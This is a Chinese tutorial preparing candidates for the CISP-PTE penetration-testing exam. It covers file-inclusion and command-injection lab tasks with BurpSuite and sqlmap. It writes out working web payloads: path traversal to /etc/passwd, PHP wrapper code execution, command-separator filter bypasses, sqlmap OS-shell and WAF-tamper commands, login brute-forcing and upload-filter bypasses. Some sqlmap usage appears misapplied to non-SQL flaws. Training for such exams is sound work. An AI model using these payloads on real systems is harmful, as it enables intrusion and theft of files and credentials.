新手避坑指南：用BurpSuite和Sqlmap搞定CISP-PTE文件包含与命令执行题
CISP-PTE实战进阶：自动化工具链在文件包含与命令执行漏洞中的应用
对于刚踏入网络安全领域的新手来说，CISP-PTE认证考试中的文件包含与命令执行题型往往令人望而生畏。但通过合理组合BurpSuite、Sqlmap等工具，这些看似复杂的漏洞利用过程可以变得系统而高效。本文将分享一套经过实战验证的工具链工作流，帮助你在靶场环境中快速定位并利用这些漏洞。
1. 环境准备与工具配置
在开始实战之前，我们需要确保所有工具都处于最佳工作状态。BurpSuite作为渗透测试的瑞士军刀，其社区版已能满足大部分需求，但专业版的Intruder模块在爆破时效率更高。对于Sqlmap，建议直接从GitHub获取最新版本，以确保拥有最新的tamper脚本库。
关键工具配置清单：
BurpSuite：
- 安装JRE 8或以上版本
- 配置浏览器代理为127.0.0.1:8080
- 导入CA证书以避免HTTPS拦截问题
Sqlmap：
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git cd sqlmap python sqlmap.py --version辅助工具：
- 文本编辑器（如VS Code）用于分析响应
- 浏览器开发者工具（F12）用于快速调试
提示：在实际考试环境中，通常不允许安装额外软件，因此建议提前熟悉便携版工具的使用方法。
2. 文件包含漏洞的自动化利用
文件包含漏洞（LFI/RFI）是CISP-PTE中的高频考点，通过伪协议可以轻松读取服务器上的敏感文件。BurpSuite的Repeater模块在这里发挥着关键作用。
2.1 伪协议探测与利用
当发现疑似文件包含漏洞的参数时，首先尝试基本的路径遍历：
http://target.com/vuln.php?file=../../../../etc/passwd如果遇到过滤，可以尝试以下变体：
http://target.com/vuln.php?file=....//....//....//etc/passwd常用伪协议利用表格：
| 协议类型 | 用途 | 示例 |
|---|---|---|
| php://filter | 读取文件内容 | php://filter/convert.base64-encode/resource=index.php |
| data:// | 执行PHP代码 | data://text/plain,<?php system('id');?> |
| expect:// | 执行系统命令 | expect://id |
| phar:// | 反序列化攻击 | phar:///path/to/file.phar |
2.2 自动化利用工作流
- BurpSuite拦截请求：捕获包含文件包含参数的请求
- 发送到Repeater：方便多次测试不同payload
- 尝试基本包含：测试
../../etc/passwd - 逐步深入：
GET /vuln.php?file=php://filter/convert.base64-encode/resource=../key.php HTTP/1.1 Host: target.com - 解码响应：使用BurpSuite的Decoder模块处理base64响应
对于需要认证的场景，可以先用BurpSuite记录登录会话，然后在Sqlmap中通过--cookie参数带入：
python sqlmap.py -u "http://target.com/vuln.php?file=test" --cookie="PHPSESSID=xxx" --file-read=/etc/passwd3. 命令执行漏洞的深度利用
命令执行漏洞通常出现在系统调用未正确过滤用户输入的地方。与文件包含不同，这类漏洞往往需要更精确的payload构造。
3.1 绕过常见过滤机制
当发现命令注入点时，首先测试基本注入：
127.0.0.1;id如果分号被过滤，尝试替代方案：
127.0.0.1%0aid 127.0.0.1||id 127.0.0.1%26%26id命令分隔符绕过参考表：
| 分隔符 | URL编码 | 说明 |
|---|---|---|
| ; | %3b | 顺序执行 |
| & | %26 | 后台执行 |
| && | %26%26 | 前成功才执行后 |
| | | %7c | 管道符 |
| \n | %0a | 换行执行 |
| \r | %0d | 回车执行 |
3.2 工具链协同利用
- BurpSuite识别注入点：通过修改参数观察响应变化
- Sqlmap自动化测试：
python sqlmap.py -u "http://target.com/cmd.php?ip=127.0.0.1" --os-cmd="whoami" - 升级为交互式shell：
python sqlmap.py -u "http://target.com/cmd.php?ip=127.0.0.1" --os-shell
对于复杂过滤环境，可以组合使用tamper脚本：
python sqlmap.py -u "http://target.com/cmd.php?ip=127.0.0.1" --tamper=space2comment,chardoubleencode --os-cmd="cat /key.txt"4. 日志分析与后渗透技巧
虽然CISP-PTE考试中日志分析题出现频率降低，但这项技能在实际渗透测试中至关重要。BurpSuite的Logger++扩展可以极大提升日志分析效率。
4.1 高效日志分析方法
- 筛选关键状态码：
grep " 200 " access.log | less - 定位可疑IP：
awk '{print $1}' access.log | sort | uniq -c | sort -nr - 搜索特定路径：
grep "admin" access.log | grep -v "404"
4.2 自动化工具组合
将日志分析发现的后台地址导入BurpSuite Intruder进行爆破：
- 配置攻击类型：选择"Cluster bomb"
- 设置payload：
- 第一位置：常见用户名列表（admin,root,test等）
- 第二位置：密码字典
- 添加处理规则：
- 对密码进行URL编码
- 添加CSRF token（如有）
对于需要验证码的场景，可以尝试以下方法：
import requests from bs4 import BeautifulSoup session = requests.Session() response = session.get('http://target.com/login.php') soup = BeautifulSoup(response.text, 'html.parser') captcha = soup.find('img', {'id': 'captcha'})['src'] # 使用OCR识别captcha后提交表单5. 实战中的避坑指南
在真实的CISP-PTE考试和靶场环境中，工具使用不当往往会导致失败。以下是一些常见问题的解决方案：
BurpSuite常见问题：
- 拦截不到请求：检查代理设置和CA证书安装
- Intruder速度慢：调整线程数（Target→Options→Request Engine）
- 内存不足：增加JVM参数（burp.ini中的-Xmx值）
Sqlmap优化技巧：
# 提高检测速度 python sqlmap.py -u "http://target.com/vuln.php?id=1" --batch --threads=10 # 绕过WAF python sqlmap.py -u "http://target.com/vuln.php?id=1" --tamper=between,randomcase --delay=1 # 保持会话 python sqlmap.py -u "http://target.com/vuln.php?id=1" --cookie="PHPSESSID=xxx" --keep-alive文件上传绕过技巧：
- 修改Content-Type为合法类型（如image/jpeg）
- 添加文件头（如GIF89a）
- 尝试特殊后缀（.phtml, .php5, .phar）
- 使用00截断（需PHP版本<5.3.4）
在多次实战中发现，考试环境通常会模拟真实系统的各种限制，因此建议在本地搭建类似环境进行充分练习。例如使用DVWA或WebGoat等漏洞练习平台，配置与考试相似的安全防护规则。